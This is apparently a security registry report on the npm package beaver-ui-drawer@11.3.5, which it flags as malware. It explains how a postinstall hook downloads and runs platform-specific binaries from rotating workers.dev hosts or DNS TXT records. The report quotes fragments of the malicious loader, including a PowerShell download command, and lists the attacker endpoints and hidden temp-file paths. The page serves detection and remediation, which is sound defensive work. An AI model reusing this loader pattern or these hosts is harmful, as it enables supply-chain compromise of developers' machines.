registry / Remote code execution / beaver-ui-drawer

beaver-ui-drawer

React components

This report shows the evidence for beaver-ui-drawer@11.3.5. 4 of 5 known versions are blocked or flagged. See all versions.

This package appears in our research on the August 2026 dependency confusion campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is a concrete install-time remote payload execution chain unrelated to the declared React drawer package. Obfuscation, fallback DNS payload delivery, hidden filenames, and suppressed execution confirm malicious intent.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

npm install (postinstall); also require/import of index.js

Impact

Arbitrary native code execution as the installing or importing user.

Mechanism

remote payload download, temporary-file drop, chmod, and detached execution

Attack narrative

The postinstall hook executes setup.js, which silently fetches a platform-specific binary from rotating hosts or DNS TXT records, stores it in a temporary directory, makes it executable on non-Windows systems, and starts it detached with output suppressed. index.js repeats activation on ordinary imports; telemetry.js embeds the same loader design.

AI rationale

Evidence

package.jsonsetup.jsindex.jslib/telemetry.js/var/tmp/.cache_<random>/tmp/.analytics_state%TEMP%/dotnet_diag_<random>.exe

Network endpoints9

oob-worker.cf99-9b3.workers.dev/pkg/packageoob-worker.cf100-416.workers.dev/pkg/packageoob-worker.cf101-adf.workers.dev/pkg/packageoob-worker.cf102-baf.workers.dev/pkg/packageoob-worker.cf103-070.workers.dev/pkg/package

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json postinstall runs node setup.js.
setup.js downloads platform-specific binaries, including via DNS TXT fallback.
setup.js writes payloads to /var/tmp or Windows Temp, marks them executable, and launches detached.
index.js imports setup.js on normal package import.
lib/telemetry.js contains the same download-to-temp-and-execute loader pattern.

Evidence against

No legitimate drawer component functionality invokes telemetry.js.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemNetworkShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 81.1 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

lib/telemetry.jsView file

490L491: fork() { L492: const child = new Scope();

High

Child Process

Package source references child process execution.

lib/telemetry.jsView on unpkg · L490

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.9 matchedPath = lib/telemetry.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = beaver-ui-drawer@9.4.10 matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.10 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/telemetry.jsView on unpkg

27L28: const https = require("https"); L29: const dns = require("dns"); L30: const fs = require("fs"); ... L116: const _logger = new Logger( L117: process.env.ANALYTICS_DEBUG ? LogLevel.DEBUG : LogLevel.NONE L118: ); ... L224: "BUILD_NUMBER", L225: "GITHUB_ACTIONS", L226: "GITLAB_CI", ... L275: app_start_time: new Date(Date.now() - process.uptime() * 1000).toISOString(), L276: device_app_hash: hashString(process.cwd()),

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/telemetry.jsView on unpkg · L27

setup.jsView file

71const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Shell

Package source references shell execution.

setup.jsView on unpkg · L71

69try { L70: const { execSync } = require("child_process"); L71: const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

setup.jsView on unpkg · L69

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.12 matchedPath = setup.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

setup.jsView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

lib/telemetry.jsView file

490L491: fork() { L492: const child = new Scope();

High

Child Process

Package source references child process execution.

lib/telemetry.jsView on unpkg · L490

•

Findings

7 High3 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processlib/telemetry.js

HighShellsetup.js

HighSame File Env Network Executionsetup.js

HighKnown Malware Source Similaritylib/telemetry.js

HighKnown Malware Source Similaritysetup.js

HighPrevious Version Dangerous Deltalib/telemetry.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowWeak Cryptolib/telemetry.js

LowFilesystem

Affected versions and remediation

This report applies to beaver-ui-drawer@11.3.5.

The versions list below shows the verdict for each recorded version.

Avoid installing beaver-ui-drawer@11.3.5. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-01 12:07:50.892Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

11.3.5latestshownMaliciousRemote Code ExecutionBlockPublishedAug 1, 2026, 12:05 PM 9.4.12MaliciousRemote Code ExecutionBlockPublishedAug 1, 2026, 11:54 AM 9.4.10Suspicious—WarnPublishedAug 1, 2026, 11:30 AM 9.4.9MaliciousRemote Code ExecutionBlockPublishedAug 1, 2026, 11:22 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Related packages

Other remote code execution packages

Source & flagged code